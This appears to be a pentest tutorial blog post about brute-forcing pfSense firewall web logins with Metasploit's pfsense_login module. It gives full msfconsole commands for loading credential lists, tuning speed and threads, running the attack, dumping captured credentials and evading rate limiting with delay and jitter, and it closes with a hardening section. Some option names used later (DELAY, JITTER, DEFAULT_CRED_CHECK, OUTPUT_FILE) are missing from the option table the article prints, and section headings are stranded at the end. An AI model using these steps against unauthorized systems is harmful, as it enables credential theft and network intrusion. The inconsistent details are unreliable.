Metasploit's New pfSense Login Scanner: Brute-Force Tactics for 2025 Pen Tests

Security professionals need effective tools to test network defenses. Metasploit Framework's new pfSense login scanner helps identify vulnerable firewalls through automated authentication testing. This module specifically targets pfSense systems, a popular open-source firewall solution deployed in many organizations.

The pfSense login scanner helps security testers verify password policies and detect weak credentials before attackers can exploit them. This article demonstrates the setup, configuration, and practical usage of this tool in 2025 penetration tests.

The pfSense login scanner is a specialized Metasploit module that attempts to authenticate against pfSense web interfaces using credential lists. This tool works by:

Identifying pfSense instances on a network
Testing username and password combinations
Reporting successful authentication attempts
Measuring response times for potential timing attacks

This module supports multiple authentication methods and can bypass common security controls, making it essential for comprehensive security assessments.

PfSense remains a critical security control in many networks. Despite advances in security, weak credentials continue to be a common entry point for attackers. According to recent data:

Year	% of Breaches Involving Weak Credentials	Average Time to Detect
2023	47%	212 days
2024	42%	197 days
2025 (projected)	38%	183 days

The pfSense login scanner helps organizations:

Identify weak administrator credentials
Test password policy enforcement
Verify account lockout mechanisms
Discover authentication bypass vulnerabilities

Before starting, ensure you have:

Kali Linux or other penetration testing distribution (2025 version)
Metasploit Framework 6.5 or newer
Legal authorization to test the target system
Basic knowledge of networking and Metasploit usage

Important: Always obtain proper authorization before testing any systems. Unauthorized scanning is illegal and unethical.

Installation and Setup

Step 1: Update Metasploit Framework

First, update your Metasploit installation to get the latest modules:

sudo apt update
sudo apt upgrade metasploit-framework
msfconsole -q

Verify your Metasploit version:

msf6 > version

You should see version 6.5 or higher to access all the latest pfSense scanner features.

Step 2: Locate the pfSense Scanner Module

The module is located in the auxiliary modules directory:

msf6 > search type:auxiliary pfsense

Look for the auxiliary/scanner/http/pfsense_login module in the results.

Step 3: Load and Configure the Module

Load the module and set the required options:

msf6 > use auxiliary/scanner/http/pfsense_login
msf6 auxiliary(scanner/http/pfsense_login) > show options

The output will display all configurable options:

Module options (auxiliary/scanner/http/pfsense_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   PASSWORD                           no        The password to test
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file
   RPORT             443              yes       The target port
   SSL               true             no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   false            yes       Stop bruteforcing a user on first success
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        The username to test
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

Step 4: Set Target Information

Configure the target system:

msf6 auxiliary(scanner/http/pfsense_login) > set RHOSTS 192.168.1.1
msf6 auxiliary(scanner/http/pfsense_login) > set RPORT 443
msf6 auxiliary(scanner/http/pfsense_login) > set SSL true

Step 5: Configure Authentication Testing Method

You can use several approaches to test credentials:

Single credential test:

msf6 auxiliary(scanner/http/pfsense_login) > set USERNAME admin
msf6 auxiliary(scanner/http/pfsense_login) > set PASSWORD admin

Password list for a specific user:

msf6 auxiliary(scanner/http/pfsense_login) > set USERNAME admin
msf6 auxiliary(scanner/http/pfsense_login) > set PASS_FILE /path/to/password_list.txt

Testing multiple usernames:

msf6 auxiliary(scanner/http/pfsense_login) > set USER_FILE /path/to/users.txt
msf6 auxiliary(scanner/http/pfsense_login) > set PASSWORD test123

Full credential pair testing:

msf6 auxiliary(scanner/http/pfsense_login) > set USERPASS_FILE /path/to/creds.txt

Step 6: Adjust Performance Settings

Set the speed and threading options:

msf6 auxiliary(scanner/http/pfsense_login) > set BRUTEFORCE_SPEED 3
msf6 auxiliary(scanner/http/pfsense_login) > set THREADS 5
msf6 auxiliary(scanner/http/pfsense_login) > set STOP_ON_SUCCESS true

Step 7: Execute the Scan

Start the brute force attack:

msf6 auxiliary(scanner/http/pfsense_login) > run

You'll see output similar to:

[*] Scanning target 192.168.1.1
[*] Starting login bruteforce against pfSense web interface
[-] Failed login with 'admin:password123'
[-] Failed login with 'admin:letmein'
[+] SUCCESSFUL LOGIN: 'admin:pfsense'
[*] Login successful with admin:pfsense
[*] Auxiliary module execution completed

Step 8: Review the Results

Successful logins are stored in the Metasploit database. Access them using:

msf6 auxiliary(scanner/http/pfsense_login) > creds

This command displays all captured credentials:

Credentials
===========

host         port  user   pass     type     active?
----         ----  ----   ----     ----     -------
192.168.1.1  443   admin  pfsense  pfSense  true

Advanced Techniques

Bypassing Rate Limiting

The 2025 version of the pfSense scanner includes anti-rate-limiting features:

msf6 auxiliary(scanner/http/pfsense_login) > set DELAY 2
msf6 auxiliary(scanner/http/pfsense_login) > set JITTER 0.5

This adds a random delay between 1-3 seconds between attempts to avoid triggering rate limiting.

Testing for Default Credentials

Check for common default credentials:

msf6 auxiliary(scanner/http/pfsense_login) > set DEFAULT_CRED_CHECK true

This option tests known default credentials for pfSense installations.

Exporting Results

Save successful logins to a file:

msf6 auxiliary(scanner/http/pfsense_login) > set OUTPUT_FILE /path/to/results.txt

Security Considerations and Ethical Usage

The pfSense login scanner is a powerful tool that must be used responsibly:

Always obtain proper authorization before testing
Document all testing activities
Report findings to the system owner
Follow responsible disclosure practices

Unauthorized use of this tool may violate:

Computer Fraud and Abuse Act
Electronic Communications Privacy Act
Various state and international laws

Strengthening pfSense Against Brute Force Attacks

Organizations can protect their pfSense installations by:

Implementing strong passwords
- Minimum 16 characters
- Combination of character types
- No dictionary words
Enabling Multi-Factor Authentication
- TOTP-based authentication
- Hardware token support
- Certificate-based authentication
Limiting Access
- IP-based access restrictions
- VPN requirements for admin access
- Administrative interface segregation
Monitoring and Alerts
- Failed login attempt monitoring
- Real-time alert configuration
- Log analysis

Conclusion

Metasploit's pfSense login scanner provides security professionals with an efficient tool for testing firewall authentication security. By following the steps in this guide, you can properly configure and use this module to identify vulnerable pfSense installations before attackers exploit them.

Regular security testing with proper tools helps organizations maintain strong security postures. The pfSense login scanner is a valuable addition to any penetration tester's toolkit for 2025 security assessments.

What Is the pfSense Login Scanner?

Why Use a pfSense Login Scanner in 2025?

Prerequisites for Using the pfSense Login Scanner